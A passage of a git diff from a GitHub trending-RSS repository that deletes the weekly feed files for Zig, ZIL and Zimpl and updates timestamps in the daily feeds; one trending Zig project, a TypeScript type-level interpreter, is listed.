deleted file mode 100644 index c1c99d1b7e0..00000000000 --- a/zig/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Zig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:25Z - Weekly Trending of Zig in GitHub - - - zackradisic/tyvm - 2023-10-29T02:05:25Z - tag:github.com,2023-10-29:/zackradisic/tyvm - - <p>An experimental bytecode interpreter / type-checker for type-level Typescript</p><hr> - - \ No newline at end of file diff --git a/zil/daily/index.xml b/zil/daily/index.xml index b2feba61e8b..0dc3238c549 100644 --- a/zil/daily/index.xml +++ b/zil/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:04Z + 2023-10-30T01:38:39Z Daily Trending of ZIL in GitHub \ No newline at end of file diff --git a/zil/weekly/index.xml b/zil/weekly/index.xml deleted file mode 100644 index 77be9c2d95e..00000000000 --- a/zil/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ZIL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:23Z - Weekly Trending of ZIL in GitHub - - \ No newline at end of file diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml index 55ed3e483f0..f4fc89acc2d 100644 --- a/zimpl/daily/index.xml +++ b/zimpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zimpl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:46:07Z + 2023-10-30T01:38:39Z Daily Trending of Zimpl in GitHub \ No newline at end of file diff --git a/zimpl/weekly/index.xml b/zimpl/weekly/index.xml deleted file mode 100644 index a8daa35f4b3..00000000000 --- a/zimpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Zimpl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:05:22Z - Weekly Trending of Zimpl in GitHub - - \ No newline at end of file